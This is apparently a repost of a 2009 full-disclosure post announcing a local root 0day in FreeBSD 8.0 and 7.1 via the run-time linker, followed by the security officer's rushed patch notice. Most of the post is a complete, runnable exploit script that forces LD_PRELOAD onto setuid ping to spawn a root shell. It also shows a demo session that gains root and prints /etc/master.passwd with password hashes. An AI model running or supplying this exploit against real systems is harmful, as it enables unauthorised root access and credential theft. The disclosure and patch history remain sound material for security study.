Exploit in Freebsd 8 root vulnerability(local r00t 0day) and the patch

http://lists.grok.org.uk/pipermail/full-disclosure/2009-November/071686.html

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** FreeBSD local r00t 0day
Discovered & Exploited by Nikolaos Rangos also known as Kingcope.
Nov 2009 "BiG TiME"

"Go fetch your FreeBSD r00tkitz" // http://www.youtube.com/watch?v=dDnhthI27Fg

There is an unbelievable simple local r00t bug in recent FreeBSD versions.
I audited FreeBSD for local r00t bugs a long time *sigh*. Now it pays out.

The bug resides in the Run-Time Link-Editor (rtld).
Normally rtld does not allow dangerous environment variables like LD_PRELOAD
to be set when executing setugid binaries like "ping" or "su".
With a rather simple technique rtld can be tricked into
accepting LD variables even on setugid binaries.
See the attached exploit for details.

Example exploiting session
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%uname -a;id;
FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21
15:48:17 UTC 2009
root@test.com:/usr/obj/usr/src/sys/GENERIC  i386
uid=1001(kcope) gid=1001(users) groups=1001(users)
%./w00t.sh
FreeBSD local r00t zeroday
by Kingcope
November 2009
env.c: In function 'main':
env.c:5: warning: incompatible implicit declaration of built-in
function 'malloc'
env.c:9: warning: incompatible implicit declaration of built-in
function 'strcpy'
env.c:11: warning: incompatible implicit declaration of built-in
function 'execl'
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
ALEX-ALEX
# uname -a;id;
FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21
15:48:17 UTC 2009
root at @test.com:/usr/obj/usr/src/sys/GENERIC  i386
uid=1001(kcope) gid=1001(users) euid=0(root) groups=1001(users)
# cat /etc/master.passwd
# $FreeBSD: src/etc/master.passwd,v 1.40.22.1.2.1 2009/10/25 01:10:29
kensmith Exp $
#
root:$1$AUbbHoOs$CCCsw7hsMB14KBkeS1xlz2:0:0::0:0:Charlie &:/root:/bin/csh
toor:*:0:0::0:0:Bourne-again Superuser:/root:
daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5::0:0:System &:/:/usr/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25::0:0:Sendmail Submission
User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66::0:0:UUCP
pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin
kcope:$1$u2wMkYLY$CCCuKax6dvYJrl2ZCYXA2:1001:1001::0:0:User
&:/home/kcope:/bin/sh
#

Systems tested/affected
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FreeBSD 8.0-RELEASE *** VULNERABLE
FreeBSD 7.1-RELEASE *** VULNERABLE
FreeBSD 6.3-RELEASE *** NOT VULN
FreeBSD 4.9-RELEASE *** NOT VULN

*EXPLOIT*

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>

main() {
        extern char **environ;
        environ = (char**)malloc(8096);

        environ[0] = (char*)malloc(1024);
        environ[1] = (char*)malloc(1024);
        strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

        execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        extern char **environ;
        environ=NULL;
        system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env

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FreeBSD security officer Colin Percival confirmed the issue could allow a local user to execute arbitrary code as root.  It affects FreeBSD versions 7.1 and 8.0.

Percival said FreeBSD patch is buyer-beware because it was rushed out on short notice.

Normally it is the policy of the FreeBSD Security Team to not publicly discuss security issues until an advisory is ready, but in this case since exploit code is already widely available I want to make a patch available ASAP. Due to the short timeline, it is possible that this patch will not be the final version which is provided when an advisory is sent out; it is even possible (although highly doubtful) that this patch does not fully fix the issue or introduces new issues — in short, use at your own risk (even more than usual).

The patch is available here http://people.freebsd.org/~cperciva/rtld.patch

Referance:http://blogs.zdnet.com/security/?p=5010